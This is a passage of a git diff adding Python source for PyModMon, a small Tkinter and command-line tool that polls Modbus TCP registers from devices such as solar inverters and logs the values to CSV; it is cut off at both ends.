stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data 